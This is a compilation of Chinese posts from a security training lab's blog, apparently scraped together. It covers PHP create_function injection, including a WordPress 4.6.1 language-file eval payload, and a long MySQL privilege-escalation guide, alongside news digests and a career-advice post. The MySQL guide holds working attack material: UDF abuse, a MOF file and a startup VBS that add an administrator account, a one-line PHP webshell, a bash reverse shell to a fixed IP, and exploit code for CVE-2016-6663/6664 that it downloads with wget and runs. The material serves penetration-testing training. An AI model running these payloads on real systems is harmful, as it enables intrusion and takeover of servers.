从本地到WordPress代码注入
什么是create_function? 版本影响: 注意:create_function在PHP7.2.0之后被废弃,因此该函数的适用范围在PHP 4 >= 4.0.1、PHP 5、 PHP 7<=7.2.0 简单讲解: 首先还是先看PHP手册,PHP官方对create_function是这么定义的: 首先该函数有两个参数,一个是函数参数,另一个是函数主体代码,并且该函数的范围值即为函数名。 举个例子: <?php $Lxxx = create_function('$str' , 'echo $str;phpinfo();'); echo $Lxxx; echo "<br>"; echo $Lxxx("hello"); 我们新建一个函数,名称为Lxxx,并且该函数的用途就是打印输出传入的字符串以及phpinfo页面。 此时我们访问页面如下: 可以看到,这个时候打印输出了hello以及phpinfo页面 除此之外,我们可以发现函数名是一串以lambda开头的字符串,也就是匿名函数。 这里我们可以发现,如果我们传入create_funtion中的第二个参数可控,那么我们就可以进行命令执行。 如何利用create_function()进行注入? 想要知道如何利用它进行注入,我们还得看看PHP官方手册是怎么说的: 其实就是需要我们注意,这个函数本身就是在内部执行eval函数, 因此我们可以将上方的代码改写成另一种等价的形式: <?php function lambda_6($str){    echo $str;    phpinfo(); } ?> 那我们试想,既然这个函数参数可控,并且内部执行了eval函数,我们能否利用它进行RCE呢? 假设我们有以下代码: <?php $ctf = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/i',$ctf)) {    $ctf('',$_GET['Lxxx']); } 其中传入的ctf参数不能以字母数字下划线开头,而Lxxx参数对于我们来说是完全可控的。 既然如此我们可以考虑使用create_function函数,但是这个时候会出现一个问题,传入的ctf参数不能以字母数字下划线开头,否则会产生匹配无法进入语句。 问题一: 那么该如何又使用create_function函数,又不以字母开头呢? 分析一: 答案就是:使用反斜杠。 因为在PHP中默认的命名空间为\,也就是说,所有的原生函数以及各种原生类,都是在\这个命名空间下,平常我们使用的各种函数,默认都是直接写函数名,但是并没有管命名空间,不写\调用函数相当于是一个相对路径,同理,既然有相对路径,那么就会有绝对路径。也就是说当我们调用函数的时候,如果函数的命名空间在\下,我们使用\function_name()的方式调用函数,同样也是可以的 问题二: 对于下方代码,虽然参数可控,但是除了命令以外,还有}这个不可控字符,如果存在这个字符会报错,该怎么办? <?php function lambda_6($str){    echo $str;    phpinfo(); } ?> 分析二: 注入的时候在末尾添加注释符,将后面的内容注释掉即可。 也就是说,我们只需要传如下payload即可: ?Lxxx=;}phpinfo();/* POSTDATA: ctf=\create_function WordPress中的create_function()注入 影响范围: WordPress<=4.6.1 漏洞复现: WordPress<=4.6.1的版本中,在wp-includes/pomo/translations.php文件中,有一处使用到了create_function函数 涉及到的代码如下: /** * Makes a function, which will return the right translation index, according to the * plural forms header * @param int   $nplurals * @param string $expression */ function make_plural_form_function($nplurals, $expression) { $expression = str_replace('n', '$n', $expression); $func_body = " \$index = (int)($expression); return (\$index < $nplurals)? \$index : $nplurals - 1;"; return create_function('$n', $func_body); } 从注释中我们可以知道:这个函数是根据在目录wp-content/languages下语言文件的plural forms这个header来创建函数并返回 首先该函数返回值中可控参数为$func_body,而该参数由$nplurals参数决定$func_body,并且$nplurals由语言文件中的plural forms决定,因此,只需要能控制语言文件,即可控制整一个create_function函数 首先plural forms在如下位置: 我们现在将第九行修改如下: "Plural-Forms: nplurals=1; plural=n);}eval($_GET[Lxxx]);/*" 用;}将前面的内容闭合,并且使用/*注释掉后面的代码 再将zh_CN.po文件重新编译生成zh_CN.mo,虽然提示有错,但是不影响我们编译。 这个时候在主页传payload: ?Lxxx=phpinfo(); 即可得到phpinfo页面,也就达成了RCE。 实验推荐:   https://www.yijinglab.com/expc.do?ec=ECID1eae-d41b-4f53-9280-21c9ef9385ba
网络安全日报 2021年09月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新恶意软件利用 Windows WSL 子系统以逃避检测 https://thehackernews.com/2021/09/new-malware-targets-windows-subsystem.html 2、Ryuk Ransomware Gang 利用 Microsoft MSHTML 漏洞 https://threatpost.com/microsoft-mshtml-ryuk-ransomware/174780/ 3、AMD CPU 驱动程序漏洞可被利用获取敏感数据 https://www.securityweek.com/amd-chipset-driver-vulnerability-can-allow-hackers-obtain-sensitive-data 4、Mirai 僵尸网络开始利用 OMIGOD 漏洞 https://www.securityweek.com/mirai-botnet-starts-exploiting-omigod-flaw-microsoft-issues-more-guidance 5、互联网协会引入 MANRS 计划以提高路由安全性 https://www.helpnetsecurity.com/2021/09/17/internet-society-manrs-initiative 6、黑客窃取了巴黎医院约140万名患者的个人数据 https://www.securityweek.com/mass-personal-data-theft-paris-covid-tests-hospitals 7、黑客破坏了德国大选管理机构的网站 https://www.securityweek.com/german-election-authority-confirms-likely-cyber-attack 8、一项针对航空业的恶意软件攻击活动在两年后被发现 https://thehackernews.com/2021/09/malware-attack-on-aviation-sector.html 9、FBI:今年美国网恋诈骗损失1.13亿美元 https://www.freebuf.com/news/288898.html 10、新的 Zloader 攻击可以禁用Windows Defender https://www.bleepingcomputer.com/news/security/new-zloader-attacks-disable-windows-defender-to-evade-detection/
这次没有如果,带着真题来了
正文:  每周五固定节目又来了!教师节为什么没有更新,因为备课去了,所以这周带着真题来讲解了。   训练终究只是训练,赛场才是最后的考验。真正的比赛中会包含CTF的不同题型,前面的Weekly CTF还在WEB赛段,在其它的题型出来之前,我们今天来提前感受下比赛中的真题,为以后参赛做准备。  本次讲解的是全国大学生网络安全技能大赛“蓝帽杯”的真题,可能大家在网上搜索也能发现很多writeup,不过我们实验室不仅提供解析还准备了实操环境,更绝的是还带视频讲解,这样就完美解决了文字枯燥想睡觉的问题。   今天给大家带来的第一题是WEB题型<杰克与肉丝>,对这就是真实的比赛,搞安全的也不全是耿直大直男只会取专业名词组成的题名,也是偶尔有皮的。这道题的考点大家应该还很熟悉了,前面几周的练习题都是反序列化的,这不真题就来考这个点了。如果有初学者不了解的,也可以上我们实验室的官网搜索关键词“反序列化”,有很多相关的实验可供学习,其它方向的也很齐全,大家按需学习即可,也可以加入讨论群或者咨询线上的客服进一步了解。想快速上手的话我们还有特训班,网络安全的几个方向都有覆盖到,学员的评价也都非常好,讲师无时无刻不在答疑(此处讲师行为惊呆B站官号运营并发了动态),小班授课非流水线模式,良心与实力兼备。  最后希望我们都能拥有很多很多的知识(qian),比赛题题会,考试门门过!我们赛场上见, 并提前祝大家月(kai)饼(xue)节(le)快乐~!    链接直达:http:// https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID9e84-22a0-4aca-a1f2-d6987bb83923 &
mysql提权总结
前言 前两天参加了省赛的内网渗透,在拿到webshell后发现是一个站库分离,通过信息搜集得到了数据库的账号密码,但是是一个www-data权限,执行不了代理的命令,这时候就需要提权到root权限才能够执行命令,最后还没有通过udf提权,而是通过/tmp这个目录能够修改权限,改为777权限后使用的代理。因为linux打得比较少,我们队在这个地方卡了很久,导致只打到了第一层网络,第二层内网就没有时间去打,所以补一下关于mysql的提权知识。 UDF提权 何为UDF UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。 使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。其实除了UDF外,使用者还可以将函数添加为MySQL的固有(内建)函数,固有函数被编译进mysqld服务器中,称为永久可用的,不过这种方式较添加UDF复杂 UDF利用条件 1.知道数据库的用户和密码;2.mysql可以远程登录;3.mysql有写入文件的权限,即secure_file_priv的值为空。 关于第一点就不用多说了,可以通过拿到webshell之后翻阅文件得到,对于不同情况下有不同得获取方式,这里不再赘述;主要提一下第二三点。 在默认情况下,mysql只允许本地登录,我们知道可以通过navicat去连接数据库(在知道帐号密码的情况下),但是如果只允许本地登录的情况下,即使知道账号密码的情况下也不能够连接上mysql数据库,那么在这种情况下就只有通过拿到本机的高权限rdp登陆远程桌面后连接。 远程连接对应的设置在mysql目录下的/etc/mysql/my.conf文件,对应的设置为bind-address = 127.0.0.1这一行,这是默认情况下的设置,如果我们要允许在任何主机上面都能够远程登录mysql的话,就只要把bind-address改成0.0.0.0即可,即bind-address = 0.0.0.0 光更改配置文件还不够,还需要给远程登陆的用户赋予权限,首先新建一个admin/123456用户,使用%来允许任意ip登录mysql,这样我们就能够通过navicat使用admin/123456用户远程连接到数据库 grant all on *.* to admin@'%' identified by '123456' with grant option; flush privileges; 关于第三点的secure_file_priv参数,这里有三个值,分别为NULL、/tmp、空,NULL顾名思义即不允许导入或导出,那么在这种情况下就不能使用sql语句向数据库内写入任何语句,/tmp的意思是只能在/tmp目录下写入文件,这种情况下就需要考虑写入文件到文件夹后能否在网页上访问连接到这个目录,如果这个值为空,那么就可以通过构造sql语句向mysql数据库下的任何目录写入文件。 这里还有一个需要了解的点就是在mysql5.5版本之前secure_file_priv这个值是默认为空的,那么我们拿到的webshell如果对应的mysql数据库版本在5.5以下的话操作起来就比较方便,在mysql5.5版本之后secure_file_priv这个值是默认为NULL的,即不能够往数据库内写入文件。 手动提权 首先这里现在官网下载一个mysql,这里我下载的是5.5.19,注意这里需要下msi文件,不要下zip文件 下载好后进行安装即可 这里使用utf-8字符集 安装好后使用mysql -u root -p进入mysql 因为我是5.5.19版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。这里说到了动态链接库,动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linnux环境下后缀名为.so 那么这里利用.dll或.so文件在哪里去找呢?这两个文件在sqlmap和msf里面都有内置 首先在sqlmap里面找一下,在sqlmap里面对应的目录地址为udf/mysql,这里进入目录后可以看到sqlmap已经帮我们分好类了 不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。 命令如下(这里使用到64位的dll,其他版本改后缀名即可) python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll 这里好像因为我本机的环境配置的问题这里py3没有执行成功,这里换到kali环境里面使用py2解密 python2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll 另外可以用msf提供的动态链接库文件,这里注意msf里面的动态链接库是已经解密好了的可以直接使用,msf下的动态链接库目录如下 /usr/share/metasploit-framework/data/exploits/mysql/ 直接拿出来使用010 editor进行查看是包含了一些函数 解密过程完成之后就需要把解密得到的UDF动态链接库文件放到mysql的插件目录下,这里使用如下命令查询插件目录的位置 show variables like "%plugin%"; 这里可以看到我的插件目录就是C:\Program Files\MySQL\MySQL Server 5.5\lib/plugin 使用select @@basedir查看一下MySQL安装的位置 这里因为只单独安装了一个MySQL,没有安装其他的web,所以为了更好的还原环境,这里使用phpstudy来搭建环境,这里假设我已经拿到了一个目标机器的webshell,但是这里权限很低,使用到udf提权 首先来到MySQL/lib文件夹下,这里可以看到是没有plugin这个文件夹的,所以这里需要我们先创建一个文件夹 创建plugin文件夹 然后把解密过后的lib_mysqludf_sys_64.dll放到plugin文件夹下 这里为了方便我把dll改名为udf.dll,但是这里报错ERROR 1126,这里我百度过后发现这个dll并不是跟系统位数有关的,而是跟mysql版本有关系,而且phpstudy自带的mysql版本需要用32位的dll才能够操作 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; 这里我上传一个32位的dll到plugin文件夹内 再使用命令创建自定义函数即可 然后使用命令查看是否新增了sys_eval函数 select * from mysql.func; 可以看到这里创建成功那么就可以执行系统命令,到这里就是一个高权限了,而且如果有disable_functions把函数禁用了,用udf提权也是能够操作的 拓展:UDF shell 允许外连 这里可以使用写好的大马https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php来自动提权,我们测试一下 首先把php上传到可以网页访问的位置,这里我直接连接报错了应该是因为没有设置可以外连,只允许本地连接,首先实验一下允许外联的情况 这里进入my.ini文件设置bind-address = 0.0.0.0 然后创建一个admin/123456用户允许外连 再次登录即可登录成功 这里首先dump udf.dll到plugin文件夹下,这里可以看到dump dll成功 然后创建函数,再执行命令即可 不允许外连 这里我们再把bind-address = 0.0.0.0这行注释掉之后进行试验,因为不允许外连,那么只有本地连接数据库,这时候很容易想到正向连接我们代理进去连接数据库。这里使用reg、ew都可以,但是这里因为是mysql的原因,使用navicat自带的tunnel脚本会更加方便。 首先测试一下,是不允许外连的(这里图搞错了) 这里上传nutunnel_mysql.php到靶机上访问,这里看到已经连接成功了 然后连接的时候设置HTTP隧道 即可连接到mysql,然后提权操作同前 MOF提权 mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。 利用条件 只使用于windows系统,一般低版本系统才可以用,比如xp、server2003 对C:\Windows\System32\wbem\MOF目录有读写权限 可以找到一个可写目录,写入mof文件 手动提权 这里我没有安装2003的虚拟机,所以就不放图了,写一下提权的步骤 生成testmod.mod文件并上传到靶机的可写目录 #pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter {   EventNamespace = "Root\\Cimv2";   Name = "filtP2";   Query = "Select * From __InstanceModificationEvent "           "Where TargetInstance Isa \"Win32_LocalTime\" "           "And TargetInstance.Second = 5";   QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer {   Name = "consPCSV2";   ScriptingEngine = "JScript";   ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")"; }; instance of __FilterToConsumerBinding {   Consumer   = $Consumer;   Filter = $EventFilter; }; 进入mysql命令行执行导入命令,导入完成过后系统会自动运行 select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof" 使用net user命令即可发现已经加入了管理员组 msf提权 msf内置了MOF提权模块,相比于手动提权的好处就是msf的MOF模块有自动清理痕迹的功能 use exploit/windows/mysql/mysql_mofset payload windows/meterpreter/reverse_tcpset rhosts 192.168.10.17set username rootset password rootrun 拓展 因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果 # 停止 winmgmt 服务net stop winmgmt# 删除 Repository 文件夹rmdir /s /q C:\Windows\system32\wbem\Repository\# 手动删除 mof 文件del C:\Windows\system32\wbem\mof\good\test.mof /F /S# 删除创建的用户net user hacker /delete# 重新启动服务net start winmgmt 启动项提权 windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。 这个地方既然碰到了启动项提权,就总结一下不限于mysql的启动项提权方法。 启动项路径 在windows2003的系统下,启动项路径如下: C:\Documents and Settings\Administrator\「开始」菜单\程序\启动C:\Documents and Settings\All Users\「开始」菜单\程序\启动 在windows2008的系统下,启动项路径如下: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 自动化脚本 我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。 这里使用test.vbs添加用户密码,上传到启动目录重启的时候即可自动添加账号密码 set wshshell=createobject("wscript.shell")a=wshshell.run("cmd.exe /c net user test test123 /add",0)b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0) 使用sql语句 连接到mysql之后创建一个表写入sql语句 use mysql;create table test(cmd text);insert into a values(“set wshshell=createobject(“”wscript.shell””)”);insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);select * fro 重启之后即可提权 CVE-2016-6663&CVE-2016-6664 CVE-2016-6663是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。 CVE-2016-6664是root权限提升漏洞,这个漏洞可以让拥有MySQL系统用户权限的攻击者提升权限至root,以便进一步攻击整个系统。 导致这个问题的原因其实是因为MySQL对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取root权限。可以看到,两个cve分别是用来将低权限的www-data权限提升为mysql权限,然后再将mysql提升为root权限。 利用条件 CVE-2016-6663 1.已经getshell,获得www-data权限 2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码 3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权 4.Mysql<5.5.51或<5.6.32或<5.7.14 CVE-2016-6664 1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可) 2.需要在mysql权限下运行才能利用 3.Mysql<5.5.51或<5.6.32或<5.7.14 环境搭建 这里使用到tutum/lamp的镜像环境,运行docker并连接 docker pull tutum/lampdocker run -d -P tutum/lampdocker psdocker exec -it b9 /bin/bash 安装apt,wget,gcc,libmysqlclient-dev apt updateapt install -y wget gcc libmysqlclient-dev 写入一个一句话木马方便后续连接,这里注意,linux环境下用echo命令写入木马需要加' '进行转义,否则会报错 cd /var/htmlecho '<?php @eval($_POST['hacker']); ?>' > shell.php 给web路径赋予777权限 chmod -R 777 /var/www/html 进入mysql环境添加一个对test库有create,drop,insert,select权限的test用户,密码为123456 将apache2和mysql服务重启并重新保存容器,将新容器的80端口映射到8080端口,3306映射到3306端口的方式运行容器。 service restart apache2service restart mysqlocker commit c0ae81326db0 test/lampdocker run -d -p 8080:80 -p 3306:3306 test/lamp 访问一下8080端口若出现如下界面则环境搭建成功 CVE-2016-6663 cve-2016-6663即将www-data权限提升为mysql权限,首先连接我们之前写入的webshell 首先看一下权限跟目录的可执行状况,可以看到html目录下是777 然后写入exp,命名为mysql-privesc-race.c,exp如下所示 #include <fcntl.h>#include <grp.h>#include <mysql.h>#include <pwd.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/inotify.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/wait.h>#include <time.h>#include <unistd.h>#define EXP_PATH "/tmp/mysql_priv 这里我直接用蚁剑执行的话执行不了 使用nc配合bash命令反弹后执行命令,即可从www-data权限提升到mysql权限 nc -lvvp 7777/bin/bash -i >& /dev/tcp/192.168.2.161/7777 0>&1cd var/www/html/gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient./mysql-privesc-race test 123456 localhost test CVE-2016-6664 cve-2016-6664即把mysql权限提升到root权限 tutum/lamp日志方式不是默认的基于文件的日志,而是syslog,所以我们首先要将它改为默认配置 vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf 删除掉syslog,然后重启mysql 使用exp #!/bin/bash -p## MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit# mysql-chowned.sh (ver. 1.0)## CVE-2016-6664 / OCVE-2016-5617## Discovered and coded by:## Dawid Golunski# dawid[at]legalhackers.com## https://legalhackers.com## Follow https://twitter.com/dawid_golunski for updates 在刚才mysql权限的shell中下载提权脚本并执行,即可得到root权限 wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.shchmod 777 mysql-chowned.sh./mysql-chowned.sh /var/log/mysql/error.log 点击链接开始实验:https://www.yijinglab.com/expc.do?ce=aeffe339-186d-4c81-bcac-c647aa77ddd0 udf通过添加新函数,对MySQL的功能进行扩充,使用UDF提权原理就是通过引入udf.dll,引入自定义函数,执行系统命令。通过实验学习真实渗透场景中的MySQL udf提权方法,掌握两种dll文件导入方式,通过udf提权执行系统命令。
应届生or准应届生甲乙方怎么选
前言 本人情况:三非(非985、211非信安专业),拿过一些国家级奖项,参加过小hvv。暑期找实习的时候,从甲乙方offer中,选择了甲方安全。就着这三个月的甲方工作,对应届生和准应届生的offer该如何选择做一个分析,帮助一下还在找工作的同学。 甲方,乙方 甲方一般是指提出目标的一方,在合同拟订过程中主要是提出要实现什么目标。 乙方一般是指完成目标,在合同中主要是提出如何保证实现,并根据完成情况获取收益的一方。 在合同过程中,甲方主要是监督乙方是否完全按照要求提供自身需求的满足。 在合同执行结束后,甲方一般需要付出资金或者其他,以获得自身需求所需要的东西。通俗点说,甲方就是出钱的,乙方就是出力的。安全中的甲方,大多是监管方(如政府机关中的信安部门)以及互联网公司,乙方自然就是qax、某恒,某信服这些。 差异性 1.薪资。下面的第一张图是北京某互联网公司的薪资,第二张图是国内某一线安全厂商安全实验室薪资,谁高谁低一目了然。尤其在北京这样寸土寸金的地方,多六千块钱的生活质量还是差别挺大的。 2.工作性质。互联网公司的安全工程师,主要是负责公司内部的安全建设,包括对自家开发的各类产品进行渗透测试,一般产品都会在渗透测试通过后方可上线(渗透);自研防火墙、扫描器、蜜罐等安全产品(安全开发);把监管部门的合规要求转换成公司的安全项目来推进,避免上线产品因各种原因导致公司财产遭到损失(安全合规);对公司内安全建设进行推进(安全运营)等等 而乙方的安全岗位主要是有三种,安全驻场,主要负责对部署在甲方上的服务(如WAF、IDS、IPS等设备)进行维护和查看,对甲方的应用进行安全扫描,一般都是使用某ray,某by之类的软件一顿扫即可;渗透测试工程师,给你几个站让你去测试,然后生成一个测试报告,这会比较考验你的基本功是否扎实,因为会涉及到各种的绕过;安全研究工程师,算得上是乙方中站在顶端的岗位,需要你有一个扎实的基础,因为你的kpi可能是某软,某果或者其他大型IT公司的致谢、也可能是挖到了某款CMS的RCE漏洞、亦或是在某hvv项目中崭露头角等等高逼格的成绩 3.个人提升。在笔者角度上看,甲方大部分岗位和安全研究的天花板是很高的。在甲方安全的三个月里,跟不少同事都有接触,告诉我的是,甲方安全更重要的是要把控整个公司的安全视角,将安全问题从发现到治理形成一个完整的闭环,所以不仅需要有一个扎实的基础,还需要有一定的沟通(和业务撕*)能力,以及一颗大心脏,毕竟互联网公司995不是谁都受得了的。再说到安全研究岗,上班的很多时间都是在学习新的东西,比如近几年比较火的ATT&CK框架,研究如何绕过市面上的WAF,复现网上最新的漏洞、编写POC等等。 offer难度 抛开独角兽公司(byte、ali、tx)不说,难度划分:互联网公司安全实验室>一线安全厂商安全实验室研究岗>=甲方互联网公司岗位>渗透测试岗位>驻场。 选择 当然,如果能拿下BAT的offer自然是去BAT了,毕竟没人跟钱过不去。笔者觉得,刚进入安全行业的萌新其实并没有过深的安全知识,如果能到安全实验室的研究岗位去学习深造一年,再去冲击互联网公司,对职业发展来说会大有裨益(安全大佬们请直接冲ali or tx的实验室)。 一些tips 1.因为笔者的三非经历,校内少有安全相关课程,很幸运的加入学校的安全社团,有学长和老师的支持下对安全有了一定的理解,这时候配合蚁景实验室靶场就事半功倍了。 2.安全目前来说还不是很卷,总结一下就是目前开设信安的高校不多,从事安全的同学基本都是自学为主。所以很多身边同事并非科班出身包括自己,大专学历也并非没有,所以感兴趣的同学可以尽早入行上车~ 3.学习安全一定得有明确的学习路线,比如说渗透和安全开发,两者的学习路线就有明显的差异,找到自己的兴趣点,坚持学下去会有收获的。 以上是笔者在实习三个月的感受,欢迎行业内的大佬们进行批评指正~
网络安全日报 2021年09月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Netgear 智能交换机严重漏洞详情和 PoC 发布 https://thehackernews.com/2021/09/third-critical-bug-affects-netgear.html 2、Travis CI 漏洞暴露了数千个开源项目的重要信息 https://thehackernews.com/2021/09/travis-ci-flaw-exposes-secrets-of.html 3、工信部发布关于加强车联网网络安全和数据安全工作通知 http://www.gov.cn/zhengce/zhengceku/2021-09/16/content_5637709.htm 4、Windows MSHTML 0Day 漏洞被利用部署Cobalt Strike Beacon https://thehackernews.com/2021/09/windows-mshtml-0-day-exploited-to.html 5、REvil/Sodinokibi 勒索软件通用解密器已放出 https://threatpost.com/revil-sodinokibi-ransomware-universal-decryptor/169498/ 6、Drupal 更新修复了多个访问绕过、CSRF 漏洞 https://www.securityweek.com/several-access-bypass-csrf-vulnerabilities-patched-drupal 7、FBI、CISA警告称 Zoho 漏洞CVE-2021-40539 被APT广泛利用 https://securityaffairs.co/wordpress/122293/security/cve-2021-40539-zoho-bug-attacks.html 8、Kali Linux 2021.3 发布,新增渗透测试工具和改进 https://www.kali.org/blog/kali-linux-2021-3-release/ 9、旧版IBM System x服务器存在高严重性漏洞且无安全补丁 https://threatpost.com/no-patch-for-ibm-system-x-servers/169491/ 10、SAP发布2021年9月安全更新修补关键漏洞 https://www.securityweek.com/sap-patches-critical-vulnerabilities-september-2021-security-updates
网络安全日报 2021年09月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Microsoft 推出无密码身份验证 https://www.securityweek.com/regular-users-can-now-remove-password-their-microsoft-account 2、微软修补影响Azure用户的OMI软件高危漏洞 https://www.securityweek.com/severe-vulnerabilities-could-expose-thousands-azure-users-attacks 3、Zoom 推出端到端加密电话 https://www.securityweek.com/zoom-introduces-end-end-encrypted-phone-calls 4、西门子、施耐德电气修补 40 多个ICS产品漏洞 https://www.securityweek.com/ics-patch-tuesday-siemens-schneider-electric-address-over-40-vulnerabilities 5、摩托罗拉 Halo+ 婴儿监视器存在远程代码执行漏洞 https://portswigger.net/daily-swig/remote-code-execution-flaw-allowed-hijack-of-motorola-halo-baby-monitors 6、错误配置的 Firebase 数据库导致大量数据泄漏 https://cyware.com/news/misconfigured-firebase-databases-causing-massive-leaks-609ee158 7、Talos团队在 Nitro Pro PDF 中发现代码执行漏洞 https://blog.talosintelligence.com/2021/09/nitro-pro-code-execution.html 8、Adobe发布更新共修复其核心产品的59个漏洞 https://threatpost.com/adobe-bugs-acrobat-experience-manager/169467/ 9、SAP 通过 2021 年 9 月的安全更新修补关键漏洞 https://www.securityweek.com/sap-patches-critical-vulnerabilities-september-2021-security-updates 10、网络犯罪者在钓鱼活动中冒充 USDOT https://threatpost.com/attackers-impersonate-dot-phishing-scam/169484/
网络安全日报 2021年09月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、恶意软件 ZLoader 变体通过假TeamViewer 下载广告进行传播 https://thehackernews.com/2021/09/new-stealthier-zloader-variant.html 2、HP OMEN 游戏中心漏洞影响数百万台 Windows https://thehackernews.com/2021/09/hp-omen-gaming-hub-flaw-affects.html 3、微软修补了被积极利用的 Windows 零日漏洞 https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/ 4、研究人员在 PyPI 中发现了逻辑炸弹攻击 https://securityintelligence.com/articles/cryptominers-snuck-logic-bomb-into-python-packages/ 5、谷歌修复了一个被广泛利用的新 Chrome 零日漏洞 https://securityaffairs.co/wordpress/122192/hacking/google-zero-day-10.html 6、超过 6000 万条可穿戴设备、健身追踪记录在线泄露 https://www.zdnet.com/article/over-60-million-records-exposed-in-wearable-fitness-tracking-data-breach-via-unsecured-database/ 7、恶意软件针对墨西哥金融机构窃取用户凭证 https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-distributed-in-mexico-uses-covid-19-to-steal-financial-credentials/ 8、APT-C-36的新垃圾邮件活动针对南美实体 https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html 9、MikroTik 确认 Mēris 僵尸网络利用了多年前遭入侵的路由器 https://www.securityweek.com/mikrotik-confirms-m%C4%93ris-botnet-targets-routers-compromised-years-ago 10、研究人员发现一种充气新型光纤可用于量子密钥传输 https://www.zdnet.com/article/quantum-cryptography-this-air-filled-fiber-optic-cable-can-transport-un-hackable-keys-say-researchers/
【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行RCE
